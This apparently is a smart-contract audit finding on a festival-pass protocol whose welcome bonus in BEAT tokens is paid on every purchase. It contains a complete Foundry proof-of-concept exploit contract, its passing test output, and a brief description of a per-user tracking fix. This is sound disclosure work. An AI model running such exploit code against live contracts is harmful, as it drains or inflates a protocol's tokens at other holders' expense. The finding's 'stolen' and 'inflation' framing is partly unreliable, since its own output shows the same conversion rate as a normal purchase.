The vulnerability exists in the bonus calculation and distribution logic that awards the full welcome bonus amount on every pass purchase without any per-user tracking or limits. The bonus is calculated based solely on the pass type being purchased, with no consideration for whether the user has already received a welcome bonus, enabling unlimited bonus stacking through repeated purchases.
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
* @title Welcome Bonus Stacking Exploit PoC
* @dev Demonstrates how attackers can stack welcome bonuses by purchasing multiple passes
* to create an artificial ETH→BEAT conversion mechanism outside intended economics
*
* ATTACK VECTOR:
* 1. Purchase multiple VIP/BACKSTAGE passes to stack bonuses
* 2. Convert ETH to BEAT tokens at favorable rate
* 3. Exploit intended single "welcome" bonus as unlimited conversion
*/
contract BonusStackingExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public attacker;
address public normalUser;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 1000;
uint256 constant VIP_PASS = 2;
uint256 constant VIP_BONUS = 5e18;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
uint256 constant BACKSTAGE_MAX_SUPPLY = 100;
uint256 constant BACKSTAGE_PASS = 3;
uint256 constant BACKSTAGE_BONUS = 15e18;
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
normalUser = makeAddr("normalUser");
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
vm.startPrank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
vm.stopPrank();
vm.deal(attacker, 100 ether);
vm.deal(normalUser, 1 ether);
}
function testVIPBonusStackingExploit() public {
console.log("=== VIP WELCOME BONUS STACKING EXPLOIT ===\n");
console.log("VIP Pass Economics:");
console.log("Price per pass:", VIP_PRICE);
console.log("BEAT bonus per pass:", VIP_BONUS);
console.log("ETH->BEAT conversion rate:", VIP_BONUS / VIP_PRICE, "BEAT per ETH");
console.log("\n--- Normal User Behavior ---");
vm.prank(normalUser);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
uint256 normalUserBEAT = beatToken.balanceOf(normalUser);
console.log("Normal user BEAT balance:", normalUserBEAT);
console.log("Normal user ETH spent:", VIP_PRICE);
console.log("\n--- Attacker Bonus Stacking ---");
uint256 stackingAmount = 20;
uint256 totalCost = stackingAmount * VIP_PRICE;
console.log("Attacker buying", stackingAmount, "VIP passes");
console.log("Total ETH cost:", totalCost);
vm.startPrank(attacker);
for (uint256 i = 0; i < stackingAmount; i++) {
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
}
vm.stopPrank();
uint256 attackerBEAT = beatToken.balanceOf(attacker);
uint256 attackerPasses = festivalPass.balanceOf(attacker, VIP_PASS);
console.log("\n=== EXPLOIT RESULTS ===");
console.log("Attacker BEAT balance:", attackerBEAT);
console.log("Attacker VIP passes:", attackerPasses);
console.log("Expected BEAT (single welcome):", VIP_BONUS);
console.log("Actual BEAT (stacked bonuses):", attackerBEAT);
console.log("Bonus multiplication factor:", attackerBEAT / VIP_BONUS);
console.log("ETH->BEAT conversion achieved:", attackerBEAT / totalCost, "BEAT per ETH");
uint256 legitimateBEAT = VIP_BONUS;
uint256 excessBEAT = attackerBEAT - legitimateBEAT;
console.log("\nEconomic Impact:");
console.log("Legitimate BEAT earned:", legitimateBEAT);
console.log("Excess BEAT through exploit:", excessBEAT);
console.log("BEAT inflation caused:", (excessBEAT * 100) / legitimateBEAT, "% increase");
assertEq(attackerBEAT, stackingAmount * VIP_BONUS, "Should receive bonus for each purchase");
assertGt(attackerBEAT, legitimateBEAT, "Should exceed intended single bonus");
}
function testBackstageBonusStackingExploit() public {
console.log("=== BACKSTAGE BONUS STACKING (MAXIMUM DAMAGE) ===\n");
console.log("BACKSTAGE Pass Economics:");
console.log("Price per pass:", BACKSTAGE_PRICE);
console.log("BEAT bonus per pass:", BACKSTAGE_BONUS);
console.log("ETH->BEAT conversion rate:", BACKSTAGE_BONUS / BACKSTAGE_PRICE, "BEAT per ETH");
uint256 maxStackingAmount = 10;
uint256 totalCost = maxStackingAmount * BACKSTAGE_PRICE;
console.log("Attacker buying", maxStackingAmount, "BACKSTAGE passes");
console.log("Total ETH investment:", totalCost);
uint256 attackerETHBefore = attacker.balance;
vm.startPrank(attacker);
for (uint256 i = 0; i < maxStackingAmount; i++) {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
vm.stopPrank();
uint256 attackerBEAT = beatToken.balanceOf(attacker);
uint256 attackerPasses = festivalPass.balanceOf(attacker, BACKSTAGE_PASS);
uint256 ethSpent = attackerETHBefore - attacker.balance;
console.log("\n=== MAXIMUM DAMAGE RESULTS ===");
console.log("ETH spent:", ethSpent);
console.log("BACKSTAGE passes obtained:", attackerPasses);
console.log("Total BEAT earned:", attackerBEAT);
console.log("Expected BEAT (single welcome):", BACKSTAGE_BONUS);
console.log("Bonus multiplication factor:", attackerBEAT / BACKSTAGE_BONUS);
uint256 beatPerETH = attackerBEAT / ethSpent;
console.log("Achieved conversion rate:", beatPerETH, "BEAT per ETH");
uint256 legitimateBEAT = BACKSTAGE_BONUS;
uint256 stolenBEAT = attackerBEAT - legitimateBEAT;
console.log("\nProtocol Economic Damage:");
console.log("Legitimate BEAT (intended):", legitimateBEAT);
console.log("Stolen BEAT through stacking:", stolenBEAT);
console.log("Protocol loss percentage:", (stolenBEAT * 100) / legitimateBEAT, "%");
assertEq(attackerBEAT, maxStackingAmount * BACKSTAGE_BONUS, "Backstage bonuses should stack");
assertEq(beatPerETH, BACKSTAGE_BONUS / BACKSTAGE_PRICE, "Should achieve direct ETH->BEAT conversion");
}
function testLargeScaleEconomicAttack() public {
console.log("=== LARGE-SCALE ECONOMIC ATTACK SIMULATION ===\n");
address whale = makeAddr("whale");
vm.deal(whale, 1000 ether);
console.log("Whale attacker simulating large-scale bonus farming");
console.log("Available ETH:", whale.balance);
uint256 backstageBeatsPerETH = BACKSTAGE_BONUS / BACKSTAGE_PRICE;
uint256 vipBeatsPerETH = VIP_BONUS / VIP_PRICE;
console.log("BACKSTAGE conversion rate:", backstageBeatsPerETH, "BEAT/ETH");
console.log("VIP conversion rate:", vipBeatsPerETH, "BEAT/ETH");
console.log("Optimal strategy: BACKSTAGE passes");
uint256 whaleETHBudget = 25 ether;
uint256 maxBackstagePurchases = whaleETHBudget / BACKSTAGE_PRICE;
console.log("\nExecuting large-scale attack:");
console.log("ETH budget:", whaleETHBudget);
console.log("BACKSTAGE passes to buy:", maxBackstagePurchases);
vm.startPrank(whale);
for (uint256 i = 0; i < maxBackstagePurchases; i++) {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
vm.stopPrank();
uint256 whaleBEAT = beatToken.balanceOf(whale);
uint256 whalePasses = festivalPass.balanceOf(whale, BACKSTAGE_PASS);
console.log("\n=== LARGE-SCALE ATTACK RESULTS ===");
console.log("BACKSTAGE passes acquired:", whalePasses);
console.log("Total BEAT farmed:", whaleBEAT);
console.log("ETH->BEAT conversion achieved:", whaleBEAT / whaleETHBudget, "BEAT per ETH");
uint256 legitimateCirculation = BACKSTAGE_BONUS;
uint256 inflatedCirculation = whaleBEAT;
uint256 inflationPercentage = ((inflatedCirculation - legitimateCirculation) * 100) / legitimateCirculation;
console.log("\nProtocol-Wide Economic Impact:");
console.log("Intended BEAT circulation:", legitimateCirculation);
console.log("Actual BEAT circulation:", inflatedCirculation);
console.log("BEAT supply inflation:", inflationPercentage, "%");
console.log("Single attacker impact: MASSIVE");
assertEq(whaleBEAT, maxBackstagePurchases * BACKSTAGE_BONUS, "Should receive full bonus stacking");
assertGe(inflationPercentage, 9900, "Should cause >=99x inflation in BEAT supply");
}
function testComparisonWithIntendedEconomics() public {
console.log("=== INTENDED vs EXPLOITED ECONOMICS COMPARISON ===\n");
address intendedUser = makeAddr("intendedUser");
vm.deal(intendedUser, 1 ether);
console.log("--- Intended User Behavior ---");
vm.prank(intendedUser);
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
uint256 intendedBEAT = beatToken.balanceOf(intendedUser);
console.log("Intended user BEAT (1 pass):", intendedBEAT);
console.log("ETH spent:", BACKSTAGE_PRICE);
console.log("\n--- Exploited Economics ---");
uint256 exploitAmount = 5;
uint256 exploitCost = exploitAmount * BACKSTAGE_PRICE;
vm.startPrank(attacker);
for (uint256 i = 0; i < exploitAmount; i++) {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
vm.stopPrank();
uint256 exploitedBEAT = beatToken.balanceOf(attacker);
console.log("Exploiter BEAT (", exploitAmount, "passes):", exploitedBEAT);
console.log("ETH spent:", exploitCost);
console.log("\n=== ECONOMICS COMPARISON ===");
console.log("Intended BEAT per ETH:", intendedBEAT / BACKSTAGE_PRICE);
console.log("Exploited BEAT per ETH:", exploitedBEAT / exploitCost);
console.log("Exploit advantage:", (exploitedBEAT / exploitCost) / (intendedBEAT / BACKSTAGE_PRICE), "x better");
console.log("\nThis breaks the fundamental economics where:");
console.log("- Welcome bonuses should be ONE-TIME rewards");
console.log("- BEAT should primarily be earned through performance attendance");
console.log("- ETH->BEAT conversion should not be directly purchasable");
assertEq(exploitedBEAT / exploitCost, intendedBEAT / BACKSTAGE_PRICE, "Exploit maintains same conversion rate");
}
}
forge test --match-contract BonusStackingExploitPoC -vv
[⠆] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 443.87ms
Compiler run successful!
Ran 4 tests for test/BonusStackingExploit.t.sol:BonusStackingExploitPoC
[PASS] testBackstageBonusStackingExploit() (gas: 341286)
Logs:
=== BACKSTAGE BONUS STACKING (MAXIMUM DAMAGE) ===
BACKSTAGE Pass Economics:
Price per pass: 250000000000000000
BEAT bonus per pass: 15000000000000000000
ETH->BEAT conversion rate: 60 BEAT per ETH
Attacker buying 10 BACKSTAGE passes
Total ETH investment: 2500000000000000000
=== MAXIMUM DAMAGE RESULTS ===
ETH spent: 2500000000000000000
BACKSTAGE passes obtained: 10
Total BEAT earned: 150000000000000000000
Expected BEAT (single welcome): 15000000000000000000
Bonus multiplication factor: 10
Achieved conversion rate: 60 BEAT per ETH
Protocol Economic Damage:
Legitimate BEAT (intended): 15000000000000000000
Stolen BEAT through stacking: 135000000000000000000
Protocol loss percentage: 900 %
[PASS] testComparisonWithIntendedEconomics() (gas: 299900)
Logs:
=== INTENDED vs EXPLOITED ECONOMICS COMPARISON ===
--- Intended User Behavior ---
Intended user BEAT (1 pass): 15000000000000000000
ETH spent: 250000000000000000
--- Exploited Economics ---
Exploiter BEAT ( 5 passes): 75000000000000000000
ETH spent: 1250000000000000000
=== ECONOMICS COMPARISON ===
Intended BEAT per ETH: 60
Exploited BEAT per ETH: 60
Exploit advantage: 1 x better
This breaks the fundamental economics where:
- Welcome bonuses should be ONE-TIME rewards
- BEAT should primarily be earned through performance attendance
- ETH->BEAT conversion should not be directly purchasable
[PASS] testLargeScaleEconomicAttack() (gas: 2128572)
Logs:
=== LARGE-SCALE ECONOMIC ATTACK SIMULATION ===
Whale attacker simulating large-scale bonus farming
Available ETH: 1000000000000000000000
BACKSTAGE conversion rate: 60 BEAT/ETH
VIP conversion rate: 50 BEAT/ETH
Optimal strategy: BACKSTAGE passes
Executing large-scale attack:
ETH budget: 25000000000000000000
BACKSTAGE passes to buy: 100
=== LARGE-SCALE ATTACK RESULTS ===
BACKSTAGE passes acquired: 100
Total BEAT farmed: 1500000000000000000000
ETH->BEAT conversion achieved: 60 BEAT per ETH
Protocol-Wide Economic Impact:
Intended BEAT circulation: 15000000000000000000
Actual BEAT circulation: 1500000000000000000000
BEAT supply inflation: 9900 %
Single attacker impact: MASSIVE
[PASS] testVIPBonusStackingExploit() (gas: 607709)
Logs:
=== VIP WELCOME BONUS STACKING EXPLOIT ===
VIP Pass Economics:
Price per pass: 100000000000000000
BEAT bonus per pass: 5000000000000000000
ETH->BEAT conversion rate: 50 BEAT per ETH
--- Normal User Behavior ---
Normal user BEAT balance: 5000000000000000000
Normal user ETH spent: 100000000000000000
--- Attacker Bonus Stacking ---
Attacker buying 20 VIP passes
Total ETH cost: 2000000000000000000
=== EXPLOIT RESULTS ===
Attacker BEAT balance: 100000000000000000000
Attacker VIP passes: 20
Expected BEAT (single welcome): 5000000000000000000
Actual BEAT (stacked bonuses): 100000000000000000000
Bonus multiplication factor: 20
ETH->BEAT conversion achieved: 50 BEAT per ETH
Economic Impact:
Legitimate BEAT earned: 5000000000000000000
Excess BEAT through exploit: 95000000000000000000
BEAT inflation caused: 1900 % increase
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 2.74ms (3.04ms CPU time)
Ran 1 test suite in 5.03ms (2.74ms CPU time): 4 tests passed, 0 failed, 0 skipped (4 total tests)
The fix implements per-user welcome bonus tracking to ensure each user can only receive the welcome bonus once, regardless of how many passes they purchase. This preserves the intended one-time incentive mechanism while still allowing users to buy multiple passes for legitimate reasons. The bonus becomes a true "welcome" reward rather than a repeatable ETH-to-BEAT conversion tool.